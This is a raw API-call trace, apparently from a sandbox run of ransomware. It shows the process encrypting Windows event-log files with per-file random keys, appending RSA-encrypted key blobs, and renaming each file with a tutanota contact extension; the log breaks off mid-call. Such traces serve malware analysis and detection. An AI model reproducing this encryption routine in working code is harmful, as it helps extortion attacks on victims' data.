[0124.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0124.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b59b8 [0124.025] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0124.025] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.025] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", dwFileAttributes=0x80) returned 1 [0124.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0988 [0124.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0124.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0988 | out: hHeap=0x570000) returned 1 [0124.026] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.026] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.027] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.043] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.043] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.046] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.047] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.047] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.047] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.047] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.048] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0124.048] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="SnHHnYLgg5WKeKxNOa4TbU372c65fpoA3DhtuzJwfaZ6hQEa+YTE4ILewp5UMDvf\nqkJhUQD8IZJR8bbfmsbKj/d6CCCp5UJfG7b7iOVcHv8wHukNND0VK5lZjcYQrMhN\njec9eKwhbHSnhR6uMt3alG3dbbcsk+JQpwmsiZc4AieJTHxpPFmTRW7a8oMfGBSp\nzo36mNb4CST4OBVFBciHfZgB18rJaTaRYuzL7/syUQ4rMc8oimNLxmtAzRjJOxmm\ne2PLXWsJ4bSVC9zuOIY565ajpJK+HeyfIOlEi/5LWuUvjnGCN1CKY689cCmDfZQs\nU9kMvzgv+tAnxK4nwVM0uQ==\n", pcchString=0x2e3f9a8) returned 1 [0124.048] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.049] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.049] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.049] CloseHandle (hObject=0x460) returned 1 [0124.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.051] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0124.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b59b8 | out: hHeap=0x570000) returned 1 [0124.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5940 | out: hHeap=0x570000) returned 1 [0124.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5940 [0124.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0124.059] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.059] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b59b8 [0124.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0124.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b59b8 | out: hHeap=0x570000) returned 1 [0124.060] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.060] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.060] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.098] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.098] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.102] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.103] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.103] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.103] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.103] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.104] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0124.105] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="Qg+DOlKKk16SIQJKxo9C3joSmbSBaDIFy5GfxnsJXDowrCMG68cQdX9Rv8vlyxZA\ny7j76a2EY0tuJ7/76s+21P5f1dyRIhwhwgcW691go2x25LODZxguehYYsOD5KBLG\nOR5+z9UsUeyZgkQ9g2Nhe05rY8g1By4oMIGk0p56V1SbKCW1ACeqG5qVDRO0kY3Y\ne2Cqzb06wklA4AY5fWiNH3q96BPBzzaYdh5XAMR9egt1zkB/YkjG18P6qmG97uh9\n6XaywJhGglZhhsraJTbgQL5VcXvm8UvwVa1do27ka789JCufLjrWlcCQNM6S52i2\niZRDNTGdckNzkSFnb+CFpQ==\n", pcchString=0x2e3f9a8) returned 1 [0124.105] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.105] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.105] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.105] CloseHandle (hObject=0x460) returned 1 [0124.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.109] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0124.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5940 | out: hHeap=0x570000) returned 1 [0124.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58c8 | out: hHeap=0x570000) returned 1 [0124.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b58c8 [0124.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0124.111] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.111] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", dwFileAttributes=0x80) returned 1 [0124.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5940 [0124.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0124.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5940 | out: hHeap=0x570000) returned 1 [0124.111] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.111] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.111] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.126] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.126] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.126] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.128] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.130] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.130] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.130] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.130] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.130] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.132] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.132] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0124.132] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="TvVp5clUsg2p0eJTuL8R2j9kDMoUDV/PS/oRxpvG5YEUNKYmLxdKi+gj/Ma0Mx3f\nZ3yuMcplPODmcyq86pD33LX4gpY3KlPFEhDyyNEnW46TzPJAVVUzGb6s+w8CnRuG\nuYWXD3pqol2Vfrd3Z45JDS8xgr0Ac8tMu8Yjpk1DMErDpI03wnq5Qy4n5priLF4h\nXWuayDDPy1lNY2w1QzLFq4NAiqi9SZe4HHE6RH8l/3+KLaxhawefYJpBMztP11QV\nfzxni1Id2rV48JdmH7w1ZYQLbbQ6iCMhyqBDfYmXxVPY+7W81dSS+wicUBhiRDZA\nsSM++BM9S46F4Qz6g/3lYw==\n", pcchString=0x2e3f9a8) returned 1 [0124.132] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.132] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.132] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.132] CloseHandle (hObject=0x460) returned 1 [0124.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.134] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0124.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58c8 | out: hHeap=0x570000) returned 1 [0124.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5670 | out: hHeap=0x570000) returned 1 [0124.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b58c8 [0124.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0124.136] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.136] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5670 [0124.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0124.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5670 | out: hHeap=0x570000) returned 1 [0124.137] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.137] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.137] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.137] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.137] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.156] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.156] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.160] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.160] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.160] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.160] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.160] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.162] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0124.162] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="7M55q83wbCVx0VFTe0taADNHfCOAcmiN7gb02iXYiMvtCbZSU4YPI79b/kgBaYJl\nPq/x94FVQZHqACspPpe+hG66WG0TWbag4BmgeJp3ra36IZVoXYuSDJ9DG7EhbgxT\n0QQ/z9xyaS9k4pGVZK86/H6ZAG3r4UF2YkMuIcb488vtkFVvMcjUalbSsjN/dA6E\nuh/1RS9DQvuEjehTsha/irWhQw3e8GIEbDAZLFYw7dax3LTtjU3rq6rpagARE0s4\nIrDFQdnfVcYZclS5+HkhCkuRRNeP01/Lj7clftKJOGjVhZN66M2C6pbyaZtUgyYo\nYQF23fx0vREMVMBaVgIKlA==\n", pcchString=0x2e3f9a8) returned 1 [0124.162] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.162] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.162] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.162] CloseHandle (hObject=0x460) returned 1 [0124.164] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.164] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0124.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58c8 | out: hHeap=0x570000) returned 1 [0124.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5580 | out: hHeap=0x570000) returned 1 [0124.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b58c8 [0124.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0124.166] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.166] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", dwFileAttributes=0x80) returned 1 [0124.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5580 [0124.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0124.167] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5580 | out: hHeap=0x570000) returned 1 [0124.167] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.167] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.168] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.194] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.194] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, 